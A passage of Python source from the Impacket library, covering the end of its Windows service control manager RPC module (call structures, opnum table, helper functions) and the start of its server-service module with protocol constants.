('dwServiceState',DWORD),\n        ('cbBufSize',DWORD),\n    )\n\nclass REnumDependentServicesWResponse(NDRCALL):\n    structure = (\n        ('lpServices',NDRUniConformantArray),\n        ('pcbBytesNeeded',BOUNDED_DWORD_256K),\n        ('lpServicesReturned',BOUNDED_DWORD_256K),\n        ('ErrorCode', DWORD),\n    )\n\nclass REnumServicesStatusW(NDRCALL):\n    opnum = 14\n    structure = (\n        ('hSCManager',SC_RPC_HANDLE),\n        ('dwServiceType',DWORD),\n        ('dwServiceState',DWORD),\n        ('cbBufSize',DWORD),\n        ('lpResumeIndex',LPBOUNDED_DWORD_256K),\n    )\n\nclass REnumServicesStatusWResponse(NDRCALL):\n    structure = (\n        ('lpBuffer',NDRUniConformantArray),\n        ('pcbBytesNeeded',BOUNDED_DWORD_256K),\n        ('lpServicesReturned',BOUNDED_DWORD_256K),\n        ('lpResumeIndex',LPBOUNDED_DWORD_256K),\n        ('ErrorCode', DWORD),\n    )\n\nclass ROpenSCManagerW(NDRCALL):\n    opnum = 15\n    structure = (\n        ('lpMachineName',SVCCTL_HANDLEW),\n        ('lpDatabaseName',LPWSTR),\n        ('dwDesiredAccess',DWORD),\n    )\n\nclass ROpenSCManagerWResponse(NDRCALL):\n    structure = (\n        ('lpScHandle',SC_RPC_HANDLE),\n        ('ErrorCode', DWORD),\n    )\n\nclass ROpenServiceW(NDRCALL):\n    opnum = 16\n    structure = (\n        ('hSCManager',SC_RPC_HANDLE),\n        ('lpServiceName',WSTR),\n        ('dwDesiredAccess',DWORD),\n    )\n\nclass ROpenServiceWResponse(NDRCALL):\n    structure = (\n        ('lpServiceHandle',SC_RPC_HANDLE),\n        ('ErrorCode', DWORD),\n    )\n\nclass RQueryServiceConfigW(NDRCALL):\n    opnum = 17\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        ('cbBufSize',DWORD),\n    )\n\nclass RQueryServiceConfigWResponse(NDRCALL):\n    structure = (\n        ('lpServiceConfig',QUERY_SERVICE_CONFIGW),\n        ('pcbBytesNeeded',BOUNDED_DWORD_8K),\n        ('ErrorCode', DWORD),\n    )\n\nclass RQueryServiceLockStatusW(NDRCALL):\n    opnum = 18\n    structure = (\n        ('hSCManager',SC_RPC_HANDLE),\n        ('cbBufSize',DWORD),\n    )\n\nclass RQueryServiceLockStatusWResponse(NDRCALL):\n    structure = (\n        ('lpLockStatus',QUERY_SERVICE_LOCK_STATUSW),\n        ('pcbBytesNeeded',BOUNDED_DWORD_4K),\n        ('ErrorCode', DWORD),\n    )\n\nclass RStartServiceW(NDRCALL):\n    opnum = 19\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        ('argc',DWORD),\n        ('argv',UNIQUE_STRING_PTRSW),\n    )\n\nclass RStartServiceWResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', DWORD),\n    )\n\nclass RGetServiceDisplayNameW(NDRCALL):\n    opnum = 20\n    structure = (\n        ('hSCManager',SC_RPC_HANDLE),\n        ('lpServiceName',WSTR),\n        ('lpcchBuffer',DWORD),\n    )\n\nclass RGetServiceDisplayNameWResponse(NDRCALL):\n    structure = (\n        ('lpDisplayName',WSTR),\n        ('lpcchBuffer',DWORD),\n        ('ErrorCode', DWORD),\n    )\n\nclass RGetServiceKeyNameW(NDRCALL):\n    opnum = 21\n    structure = (\n        ('hSCManager',SC_RPC_HANDLE),\n        ('lpDisplayName',WSTR),\n        ('lpcchBuffer',DWORD),\n    )\n\nclass RGetServiceKeyNameWResponse(NDRCALL):\n    structure = (\n        ('lpDisplayName',WSTR),\n        ('lpcchBuffer',DWORD),\n        ('ErrorCode', DWORD),\n    )\n\nclass REnumServiceGroupW(NDRCALL):\n    opnum = 35\n    structure = (\n        ('hSCManager',SC_RPC_HANDLE),\n        ('dwServiceType',DWORD),\n        ('dwServiceState',DWORD),\n        ('cbBufSize',DWORD),\n        ('lpResumeIndex',LPBOUNDED_DWORD_256K),\n        ('pszGroupName',LPWSTR),\n    )\n\nclass REnumServiceGroupWResponse(NDRCALL):\n    structure = (\n        ('lpBuffer',LPBYTE),\n        ('pcbBytesNeeded',BOUNDED_DWORD_256K),\n        ('lpServicesReturned',BOUNDED_DWORD_256K),\n        ('lpResumeIndex',BOUNDED_DWORD_256K),\n        ('ErrorCode', DWORD),\n    )\n\nclass RChangeServiceConfig2W(NDRCALL):\n    opnum = 37\n    structure = (\n       ('hService',SC_RPC_HANDLE),\n       ('Info',SC_RPC_CONFIG_INFOW),\n    )\n\nclass RChangeServiceConfig2WResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', DWORD),\n    )\n\nclass RQueryServiceConfig2W(NDRCALL):\n    opnum = 39\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        ('dwInfoLevel',DWORD),\n        ('cbBufSize',DWORD),\n    )\n\nclass RQueryServiceConfig2WResponse(NDRCALL):\n    structure = (\n        ('lpBuffer',NDRUniConformantArray),\n        ('pcbBytesNeeded',BOUNDED_DWORD_8K),\n        ('ErrorCode', DWORD),\n    )\n\nclass RQueryServiceStatusEx(NDRCALL):\n    opnum = 40\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        ('InfoLevel',DWORD),\n        ('cbBufSize',DWORD),\n    )\n\nclass RQueryServiceStatusExResponse(NDRCALL):\n    structure = (\n        ('lpBuffer',NDRUniConformantArray),\n        ('pcbBytesNeeded',BOUNDED_DWORD_8K),\n        ('ErrorCode', DWORD),\n    )\n\nclass REnumServicesStatusExW(NDRCALL):\n    opnum = 42\n    structure = (\n        ('hSCManager',SC_RPC_HANDLE),\n        ('InfoLevel',DWORD),\n        ('dwServiceType',DWORD),\n        ('dwServiceState',DWORD),\n        ('cbBufSize',DWORD),\n        ('lpResumeIndex',LPBOUNDED_DWORD_256K),\n        ('pszGroupName',LPWSTR),\n    )\n\nclass REnumServicesStatusExWResponse(NDRCALL):\n    structure = (\n        ('lpBuffer',NDRUniConformantArray),\n        ('pcbBytesNeeded',BOUNDED_DWORD_256K),\n        ('lpServicesReturned',BOUNDED_DWORD_256K),\n        ('lpResumeIndex',BOUNDED_DWORD_256K),\n        ('ErrorCode', DWORD),\n    )\n\nclass RCreateServiceWOW64W(NDRCALL):\n    opnum = 45\n    structure = (\n        ('hSCManager',SC_RPC_HANDLE),\n        ('lpServiceName',WSTR),\n        ('lpDisplayName',LPWSTR),\n        ('dwDesiredAccess',DWORD),\n        ('dwServiceType',DWORD),\n        ('dwStartType',DWORD),\n        ('dwErrorControl',DWORD),\n        ('lpBinaryPathName',WSTR),\n        ('lpLoadOrderGroup',LPWSTR),\n        ('lpdwTagId',LPDWORD),\n        ('lpDependencies',LPBYTE),\n        ('dwDependSize',DWORD),\n        ('lpServiceStartName',LPWSTR),\n        ('lpPassword',LPBYTE),\n        ('dwPwSize',DWORD),\n    )\n\nclass RCreateServiceWOW64WResponse(NDRCALL):\n    structure = (\n        ('lpdwTagId',LPWSTR),\n        ('lpServiceHandle',SC_RPC_HANDLE),\n        ('ErrorCode', DWORD),\n    )\n\n# Still not working, for some reason something changes in the way the pointer inside SC_RPC_NOTIFY_PARAMS is marshalled here\nclass RNotifyServiceStatusChange(NDRCALL):\n    opnum = 47\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        ('NotifyParams',SC_RPC_NOTIFY_PARAMS),\n        ('pClientProcessGuid',GUID),\n    )\n\nclass RNotifyServiceStatusChangeResponse(NDRCALL):\n    structure = (\n        ('pSCMProcessGuid',GUID),\n        ('pfCreateRemoteQueue',PBOOL),\n        ('phNotify',SC_NOTIFY_RPC_HANDLE),\n        ('ErrorCode', DWORD),\n    )\n\n# Not working, until I don't fix the previous one\nclass RGetNotifyResults(NDRCALL):\n    opnum = 48\n    structure = (\n        ('hNotify',SC_NOTIFY_RPC_HANDLE),\n    )\n\nclass RGetNotifyResultsResponse(NDRCALL):\n    structure = (\n        ('ppNotifyParams',PSC_RPC_NOTIFY_PARAMS_LIST),\n        ('ErrorCode', DWORD),\n    )\n\n# Not working, until I don't fix the previous ones\nclass RCloseNotifyHandle(NDRCALL):\n    opnum = 49\n    structure = (\n        ('phNotify',SC_NOTIFY_RPC_HANDLE),\n    )\n\nclass RCloseNotifyHandleResponse(NDRCALL):\n    structure = (\n        ('phNotify',SC_NOTIFY_RPC_HANDLE),\n        ('pfApcFired',PBOOL),\n        ('ErrorCode', DWORD),\n    )\n\n# Not working, returning bad_stub_data\nclass RControlServiceExW(NDRCALL):\n    opnum = 51\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        ('dwControl',DWORD),\n        ('dwInfoLevel',DWORD),\n        ('pControlInParams',SERVICE_CONTROL_STATUS_REASON_IN_PARAMSW),\n    )\n\nclass RControlServiceExWResponse(NDRCALL):\n    structure = (\n        ('pControlOutParams',SERVICE_CONTROL_STATUS_REASON_OUT_PARAMS),\n        ('ErrorCode', DWORD),\n    )\n\nclass RQueryServiceConfigEx(NDRCALL):\n    opnum = 56\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        ('dwInfoLevel',DWORD),\n    )\n\nclass RQueryServiceConfigExResponse(NDRCALL):\n    structure = (\n        ('pInfo',SC_RPC_CONFIG_INFOW),\n        ('ErrorCode', DWORD),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (RCloseServiceHandle, RCloseServiceHandleResponse),\n 1 : (RControlService, RControlServiceResponse),\n 2 : (RDeleteService, RDeleteServiceResponse),\n 3 : (RLockServiceDatabase, RLockServiceDatabaseResponse),\n 4 : (RQueryServiceObjectSecurity, RQueryServiceObjectSecurityResponse),\n 5 : (RSetServiceObjectSecurity, RSetServiceObjectSecurityResponse),\n 6 : (RQueryServiceStatus, RQueryServiceStatusResponse),\n 7 : (RSetServiceStatus, RSetServiceStatusResponse),\n 8 : (RUnlockServiceDatabase, RUnlockServiceDatabaseResponse),\n 9 : (RNotifyBootConfigStatus, RNotifyBootConfigStatusResponse),\n11 : (RChangeServiceConfigW, RChangeServiceConfigWResponse),\n12 : (RCreateServiceW, RCreateServiceWResponse),\n13 : (REnumDependentServicesW, REnumDependentServicesWResponse),\n14 : (REnumServicesStatusW, REnumServicesStatusWResponse),\n15 : (ROpenSCManagerW, ROpenSCManagerWResponse),\n16 : (ROpenServiceW, ROpenServiceWResponse),\n17 : (RQueryServiceConfigW, RQueryServiceConfigWResponse),\n18 : (RQueryServiceLockStatusW, RQueryServiceLockStatusWResponse),\n19 : (RStartServiceW, RStartServiceWResponse),\n20 : (RGetServiceDisplayNameW, RGetServiceDisplayNameWResponse),\n21 : (RGetServiceKeyNameW, RGetServiceKeyNameWResponse),\n35 : (REnumServiceGroupW, REnumServiceGroupWResponse),\n37 : (RChangeServiceConfig2W, RChangeServiceConfig2WResponse),\n39 : (RQueryServiceConfig2W, RQueryServiceConfig2WResponse),\n40 : (RQueryServiceStatusEx, RQueryServiceStatusExResponse),\n42 : (REnumServicesStatusExW, REnumServicesStatusExWResponse),\n45 : (RCreateServiceWOW64W, RCreateServiceWOW64WResponse),\n47 : (RNotifyServiceStatusChange, RNotifyServiceStatusChangeResponse),\n48 : (RGetNotifyResults, RGetNotifyResultsResponse),\n49 : (RCloseNotifyHandle, RCloseNotifyHandleResponse),\n51 : (RControlServiceExW, RControlServiceExWResponse),\n56 : (RQueryServiceConfigEx, RQueryServiceConfigExResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\ndef hRCloseServiceHandle(dce, hSCObject):\n    request = RCloseServiceHandle()\n    request['hSCObject'] = hSCObject\n    return dce.request(request)\n\ndef hRControlService(dce, hService, dwControl):\n    request = RControlService()\n    request['hService'] = hService\n    request['dwControl'] = dwControl\n    return dce.request(request)\n\ndef hRDeleteService(dce, hService):\n    request = RDeleteService()\n    request ['hService'] = hService\n    return dce.request(request)\n\ndef hRLockServiceDatabase(dce, hSCManager):\n    request = RLockServiceDatabase()\n    request['hSCManager'] = hSCManager\n    return dce.request(request)\n\n\ndef hRQueryServiceObjectSecurity(dce, hService, dwSecurityInformation, cbBufSize=0):\n    request = RQueryServiceObjectSecurity()\n    request['hService'] = hService\n    request['dwSecurityInformation'] = dwSecurityInformation\n    request['cbBufSize'] = cbBufSize\n    try:\n        resp = dce.request(request)\n    except DCERPCSessionError as e:\n        if e.get_error_code() == system_errors.ERROR_INSUFFICIENT_BUFFER:\n            resp = e.get_packet()\n            request['cbBufSize'] = resp['pcbBytesNeeded']\n            resp = dce.request(request)\n        else:\n            raise\n    return resp\n\ndef hRSetServiceObjectSecurity(dce, hService, dwSecurityInformation, lpSecurityDescriptor, cbBufSize ):\n    request = RSetServiceObjectSecurity()\n    request['hService'] = hService\n    request['dwSecurityInformation'] = dwSecurityInformation\n    request['lpSecurityDescriptor'] = lpSecurityDescriptor\n    request['cbBufSize'] = cbBufSize\n    return dce.request(request)\n\ndef hRQueryServiceStatus(dce, hService ):\n    request = RQueryServiceStatus()\n    request['hService'] = hService\n    return dce.request(request)\n\ndef hRSetServiceStatus(dce, hServiceStatus, lpServiceStatus ):\n    request = RSetServiceStatus()\n    request['hServiceStatus'] = hServiceStatus\n    request['lpServiceStatus'] = lpServiceStatus\n    return dce.request(request)\n\ndef hRUnlockServiceDatabase(dce, Lock ):\n    request = RUnlockServiceDatabase()\n    request['Lock'] = Lock\n    return dce.request(request)\n\ndef hRNotifyBootConfigStatus(dce, lpMachineName, BootAcceptable ):\n    request = RNotifyBootConfigStatus()\n    request['lpMachineName'] = lpMachineName\n    request['BootAcceptable'] = BootAcceptable\n    return dce.request(request)\n\ndef hRChangeServiceConfigW(dce, hService, dwServiceType=SERVICE_NO_CHANGE, dwStartType=SERVICE_NO_CHANGE, dwErrorControl=SERVICE_NO_CHANGE, lpBinaryPathName=NULL, lpLoadOrderGroup=NULL, lpdwTagId=NULL, lpDependencies=NULL, dwDependSize=0, lpServiceStartName=NULL, lpPassword=NULL, dwPwSize=0, lpDisplayName=NULL):\n    changeServiceConfig = RChangeServiceConfigW()\n    changeServiceConfig['hService'] = hService\n    changeServiceConfig['dwServiceType'] = dwServiceType\n    changeServiceConfig['dwStartType'] = dwStartType\n    changeServiceConfig['dwErrorControl'] = dwErrorControl\n    changeServiceConfig['lpBinaryPathName'] = checkNullString(lpBinaryPathName)\n    changeServiceConfig['lpLoadOrderGroup'] = checkNullString(lpLoadOrderGroup)\n    changeServiceConfig['lpdwTagId'] = lpdwTagId\n    changeServiceConfig['lpDependencies'] = lpDependencies\n    # Strings MUST be NULL terminated for lpDependencies\n    changeServiceConfig['dwDependSize'] = dwDependSize\n    changeServiceConfig['lpServiceStartName'] = checkNullString(lpServiceStartName)\n    changeServiceConfig['lpPassword'] = lpPassword\n    changeServiceConfig['dwPwSize'] = dwPwSize\n    changeServiceConfig['lpDisplayName'] = checkNullString(lpDisplayName)\n    return dce.request(changeServiceConfig)\n\ndef hRCreateServiceW(dce, hSCManager, lpServiceName, lpDisplayName, dwDesiredAccess=SERVICE_ALL_ACCESS, dwServiceType=SERVICE_WIN32_OWN_PROCESS, dwStartType=SERVICE_AUTO_START, dwErrorControl=SERVICE_ERROR_IGNORE, lpBinaryPathName=NULL, lpLoadOrderGroup=NULL, lpdwTagId=NULL, lpDependencies=NULL, dwDependSize=0, lpServiceStartName=NULL, lpPassword=NULL, dwPwSize=0):\n    createService = RCreateServiceW()\n    createService['hSCManager'] = hSCManager\n    createService['lpServiceName'] = checkNullString(lpServiceName)\n    createService['lpDisplayName'] = checkNullString(lpDisplayName)\n    createService['dwDesiredAccess'] = dwDesiredAccess\n    createService['dwServiceType'] = dwServiceType\n    createService['dwStartType'] = dwStartType\n    createService['dwErrorControl'] = dwErrorControl\n    createService['lpBinaryPathName'] = checkNullString(lpBinaryPathName)\n    createService['lpLoadOrderGroup'] = checkNullString(lpLoadOrderGroup)\n    createService['lpdwTagId'] = lpdwTagId\n    # Strings MUST be NULL terminated for lpDependencies\n    createService['lpDependencies'] = lpDependencies\n    createService['dwDependSize'] = dwDependSize\n    createService['lpServiceStartName'] = checkNullString(lpServiceStartName)\n    createService['lpPassword'] = lpPassword\n    createService['dwPwSize'] = dwPwSize\n    return dce.request(createService)\n\ndef hREnumDependentServicesW(dce, hService, dwServiceState, cbBufSize ):\n    enumDependentServices = REnumDependentServicesW()\n    enumDependentServices['hService'] = hService\n    enumDependentServices['dwServiceState'] = dwServiceState\n    enumDependentServices['cbBufSize'] = cbBufSize\n    return dce.request(enumDependentServices)\n\ndef hREnumServicesStatusW(dce, hSCManager, dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_KERNEL_DRIVER|SERVICE_FILE_SYSTEM_DRIVER|SERVICE_WIN32_SHARE_PROCESS|SERVICE_INTERACTIVE_PROCESS, dwServiceState=SERVICE_STATE_ALL):\n    class ENUM_SERVICE_STATUSW2(NDRSTRUCT):\n        # This is a little trick, since the original structure is slightly different\n        # but instead of parsing the LPBYTE buffer at hand, we just do it with the aid\n        # of the NDR library, although the pointers are swapped from the original specification.\n        # Why is this? Well.. since we're getting an LPBYTE back, it's just a copy of the remote's memory\n        # where the pointers are actually POINTING to the data.\n        # Sadly, the pointers are not aligned based on the services records, so we gotta do this\n        # It should be easier in C of course.\n        class STR(NDRPOINTER):\n            referent = (\n                ('Data', WIDESTR),\n            )\n        structure = (\n            ('lpServiceName',STR),\n            ('lpDisplayName',STR),\n            ('ServiceStatus',SERVICE_STATUS),\n        )\n\n    enumServicesStatus = REnumServicesStatusW()\n    enumServicesStatus['hSCManager'] = hSCManager\n    enumServicesStatus['dwServiceType'] = dwServiceType\n    enumServicesStatus['dwServiceState'] = dwServiceState\n    enumServicesStatus['cbBufSize'] = 0\n    enumServicesStatus['lpResumeIndex'] = NULL\n\n    try:\n        resp = dce.request(enumServicesStatus)\n    except DCERPCSessionError as e:\n        if e.get_error_code() == system_errors.ERROR_MORE_DATA:\n            resp = e.get_packet()\n            enumServicesStatus['cbBufSize'] = resp['pcbBytesNeeded']\n            resp = dce.request(enumServicesStatus)\n        else:\n            raise\n    \n    # Now we're supposed to have all services returned. Now we gotta parse them\n\n    enumArray = NDRUniConformantArray()\n    enumArray.item = ENUM_SERVICE_STATUSW2\n\n    enumArray.setArraySize(resp['lpServicesReturned'])\n\n    data = b''.join(resp['lpBuffer'])\n    enumArray.fromString(data)\n    data = data[4:]\n    # Since the pointers here are pointing to the actual data, we have to reparse\n    # the referents\n    for record in enumArray['Data']:\n        offset =  record.fields['lpDisplayName'].fields['ReferentID']-4\n        name = WIDESTR(data[offset:])\n        record['lpDisplayName'] = name['Data']\n        offset =  record.fields['lpServiceName'].fields['ReferentID']-4\n        name = WIDESTR(data[offset:])\n        record['lpServiceName'] = name['Data']\n\n    return enumArray['Data']\n\ndef hROpenSCManagerW(dce, lpMachineName='DUMMY\\x00', lpDatabaseName='ServicesActive\\x00', dwDesiredAccess=SERVICE_START | SERVICE_STOP | SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_ENUMERATE_DEPENDENTS | SC_MANAGER_ENUMERATE_SERVICE):\n    openSCManager = ROpenSCManagerW()\n    openSCManager['lpMachineName'] = checkNullString(lpMachineName)\n    openSCManager['lpDatabaseName'] = checkNullString(lpDatabaseName)\n    openSCManager['dwDesiredAccess'] = dwDesiredAccess\n    return dce.request(openSCManager)\n\ndef hROpenServiceW(dce, hSCManager, lpServiceName, dwDesiredAccess= SERVICE_ALL_ACCESS):\n    openService = ROpenServiceW()\n    openService['hSCManager'] = hSCManager\n    openService['lpServiceName'] = checkNullString(lpServiceName)\n    openService['dwDesiredAccess'] = dwDesiredAccess\n    return dce.request(openService)\n\ndef hRQueryServiceConfigW(dce, hService):\n    queryService = RQueryServiceConfigW()\n    queryService['hService'] = hService\n    queryService['cbBufSize'] = 0\n    try:\n        resp = dce.request(queryService)\n    except DCERPCSessionError as e:\n        if e.get_error_code() == system_errors.ERROR_INSUFFICIENT_BUFFER:\n            resp = e.get_packet()\n            queryService['cbBufSize'] = resp['pcbBytesNeeded']\n            resp = dce.request(queryService)\n        else:\n            raise\n\n    return resp\n\ndef hRQueryServiceLockStatusW(dce, hSCManager, cbBufSize ):\n    queryServiceLock = RQueryServiceLockStatusW()\n    queryServiceLock['hSCManager'] = hSCManager\n    queryServiceLock['cbBufSize'] = cbBufSize\n    return dce.request(queryServiceLock)\n\ndef hRStartServiceW(dce, hService, argc=0, argv=NULL ):\n    startService = RStartServiceW()\n    startService['hService'] = hService\n    startService['argc'] = argc\n    if argc == 0:\n        startService['argv'] = NULL\n    else:\n        for item in argv:\n            itemn = LPWSTR()\n            itemn['Data'] = checkNullString(item)\n            startService['argv'].append(itemn)\n    return dce.request(startService)\n\ndef hRGetServiceDisplayNameW(dce, hSCManager, lpServiceName, lpcchBuffer ):\n    getServiceDisplay = RGetServiceDisplayNameW()\n    getServiceDisplay['hSCManager'] = hSCManager\n    getServiceDisplay['lpServiceName'] = checkNullString(lpServiceName)\n    getServiceDisplay['lpcchBuffer'] = lpcchBuffer\n    return dce.request(getServiceDisplay)\n\ndef hRGetServiceKeyNameW(dce, hSCManager, lpDisplayName, lpcchBuffer ):\n    getServiceKeyName = RGetServiceKeyNameW()\n    getServiceKeyName['hSCManager'] = hSCManager\n    getServiceKeyName['lpDisplayName'] = checkNullString(lpDisplayName)\n    getServiceKeyName['lpcchBuffer'] = lpcchBuffer\n    return dce.request(getServiceKeyName)\n\ndef hREnumServiceGroupW(dce, hSCManager, dwServiceType, dwServiceState, cbBufSize, lpResumeIndex = NULL, pszGroupName = NULL ):\n    enumServiceGroup = REnumServiceGroupW()\n    enumServiceGroup['hSCManager'] = hSCManager\n    enumServiceGroup['dwServiceType'] = dwServiceType\n    enumServiceGroup['dwServiceState'] = dwServiceState\n    enumServiceGroup['cbBufSize'] = cbBufSize\n    enumServiceGroup['lpResumeIndex'] = lpResumeIndex\n    enumServiceGroup['pszGroupName'] = pszGroupName\n    return dce.request(enumServiceGroup)\n"
  },
  {
    "path": "impacket/dcerpc/v5/srvs.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-SRVS] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDR, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray, \\\n    NDRUniFixedArray, NDRBOOLEAN, NDRUniConformantVaryingArray, PNDRUniConformantArray\nfrom impacket.dcerpc.v5.dtypes import NULL, DWORD, LPWSTR, LPBYTE, LMSTR, ULONG, GUID, LPLONG, WSTR, \\\n    SECURITY_INFORMATION, WCHAR\nfrom impacket import system_errors\nfrom impacket.uuid import uuidtup_to_bin\n\nMSRPC_UUID_SRVS  = uuidtup_to_bin(('4B324FC8-1670-01D3-1278-5A47BF6EE188', '3.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] \n            return 'SRVS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'SRVS SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 2.2.1.1 SRVSVC_HANDLE\nSRVSVC_HANDLE = WCHAR\n\nclass PSRVSVC_HANDLE(NDRPOINTER):\n    referent = (\n        ('Data', SRVSVC_HANDLE),\n    )\n\n# 2.2.1.2 SHARE_DEL_HANDLE\nclass SHARE_DEL_HANDLE(NDRSTRUCT):\n    align = 1\n    structure =  (\n        ('Data','20s=\"\"'),\n    )\n\n# 2.2.1.3 PSHARE_DEL_HANDLE\nclass PSHARE_DEL_HANDLE(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_DEL_HANDLE),\n    )\n\n# 2.2.2.2 MAX_PREFERRED_LENGTH\nMAX_PREFERRED_LENGTH = -1\n\n# 2.2.2.3 Session User Flags\nSESS_GUEST        = 0x00000001\nSESS_NOENCRYPTION = 0x00000002\n\n# 2.2.2.4 Share Types\nSTYPE_DISKTREE     = 0x00000000\nSTYPE_PRINTQ       = 0x00000001\nSTYPE_DEVICE       = 0x00000002\nSTYPE_IPC          = 0x00000003\nSTYPE_CLUSTER_FS   = 0x02000000\nSTYPE_CLUSTER_SOFS = 0x04000000\nSTYPE_CLUSTER_DFS  = 0x08000000\n\nSTYPE_SPECIAL      = 0x80000000\nSTYPE_TEMPORARY    = 0x40000000\n\n# AND with shi_type to extract the Share Type part\nSTYPE_MASK         = 0x000000FF\n\n# 2.2.2.5 Client-Side Caching (CSC) States\nCSC_CACHE_MANUAL_REINT = 0x00\nCSC_CACHE_AUTO_REINT   = 0x10\nCSC_CACHE_VDO          = 0x20\nCSC_CACHE_NONE         = 0x30\n\n# 2.2.2.6 Platform IDs\nPLATFORM_ID_DOS = 300\nPLATFORM_ID_OS2 = 400\nPLATFORM_ID_NT  = 500\nPLATFORM_ID_OSF = 600\nPLATFORM_ID_VMS = 700\n\n# 2.2.2.7 Software Type Flags\nSV_TYPE_WORKSTATION       = 0x00000001\nSV_TYPE_SERVER            = 0x00000002\nSV_TYPE_SQLSERVER         = 0x00000004\nSV_TYPE_DOMAIN_CTRL       = 0x00000008\nSV_TYPE_DOMAIN_BAKCTRL    = 0x00000010\nSV_TYPE_TIME_SOURCE       = 0x00000020\nSV_TYPE_AFP               = 0x00000040\nSV_TYPE_NOVELL            = 0x00000080\nSV_TYPE_DOMAIN_MEMBER     = 0x00000100\nSV_TYPE_LOCAL_LIST_ONLY   = 0x40000000\nSV_TYPE_PRINTQ_SERVER     = 0x00000200\nSV_TYPE_DIALIN_SERVER     = 0x00000400\nSV_TYPE_XENIX_SERVER      = 0x00000800\nSV_TYPE_SERVER_MFPN       = 0x00004000\nSV_TYPE_NT                = 0x00001000\nSV_TYPE_WFW               = 0x00002000\nSV_TYPE_SERVER_NT         = 0x00008000\nSV_TYPE_POTENTIAL_BROWSER = 0x00010000\nSV_TYPE_BACKUP_BROWSER    = 0x00020000\nSV_TYPE_MASTER_BROWSER    = 0x00040000\nSV_TYPE_DOMAIN_MASTER     = 0x00080000\nSV_TYPE_DOMAIN_ENUM       = 0x80000000\nSV_TYPE_WINDOWS           = 0x00400000\nSV_TYPE_ALL               = 0xFFFFFFFF\nSV_TYPE_TERMINALSERVER    = 0x02000000\nSV_TYPE_CLUSTER_NT        = 0x10000000\nSV_TYPE_CLUSTER_VS_NT     = 0x04000000\n\n# 2.2.2.8 Name Types\nNAMETYPE_USER          = 1\nNAMETYPE_PASSWORD      = 2\nNAMETYPE_GROUP         = 3\nNAMETYPE_COMPUTER      = 4\nNAMETYPE_EVENT         = 5\nNAMETYPE_DOMAIN        = 6\nNAMETYPE_SERVICE       = 7\nNAMETYPE_NET           = 8\nNAMETYPE_SHARE         = 9\nNAMETYPE_MESSAGE       = 10\nNAMETYPE_MESSAGEDEST   = 11\nNAMETYPE_SHAREPASSWORD = 12\nNAMETYPE_WORKGROUP     = 13\n\n# 2.2.2.9 Path Types\nITYPE_UNC_COMPNAME     = 4144\nITYPE_UNC_WC           = 4145\nITYPE_UNC              = 4096\nITYPE_UNC_WC_PATH      = 4097\nITYPE_UNC_SYS_SEM      = 6400\nITYPE_UNC_SYS_SHMEM    = 6656\nITYPE_UNC_SYS_MSLOT    = 6144\nITYPE_UNC_SYS_PIPE     = 6912\nITYPE_UNC_SYS_QUEUE    = 7680\nITYPE_PATH_ABSND       = 8194\nITYPE_PATH_ABSD        = 8198\nITYPE_PATH_RELND       = 8192\nITYPE_PATH_RELD        = 8196\nITYPE_PATH_ABSND_WC    = 8195\nITYPE_PATH_ABSD_WC     = 8199\nITYPE_PATH_RELND_WC    = 8193\nITYPE_PATH_RELD_WC     = 8197\nITYPE_PATH_SYS_SEM     = 10498\nITYPE_PATH_SYS_SHMEM   = 10754\nITYPE_PATH_SYS_MSLOT   = 10242\nITYPE_PATH_SYS_PIPE    = 11010\nITYPE_PATH_SYS_COMM    = 11266\nITYPE_PATH_SYS_PRINT   = 11522\nITYPE_PATH_SYS_QUEUE   = 11778\nITYPE_PATH_SYS_SEM_M   = 43266\nITYPE_PATH_SYS_SHMEM_M = 43522\nITYPE_PATH_SYS_MSLOT_M = 43010\nITYPE_PATH_SYS_PIPE_M  = 43778\nITYPE_PATH_SYS_COMM_M  = 44034\nITYPE_PATH_SYS_PRINT_M = 44290\nITYPE_PATH_SYS_QUEUE_M = 44546\nITYPE_DEVICE_DISK      = 16384\nITYPE_DEVICE_LPT       = 16400\nITYPE_DEVICE_COM       = 16416\nITYPE_DEVICE_CON       = 16448\nITYPE_DEVICE_NUL       = 16464\n\n# 2.2.2.11 SHARE_INFO Parameter Error Codes\n\nSHARE_NETNAME_PARMNUM      = 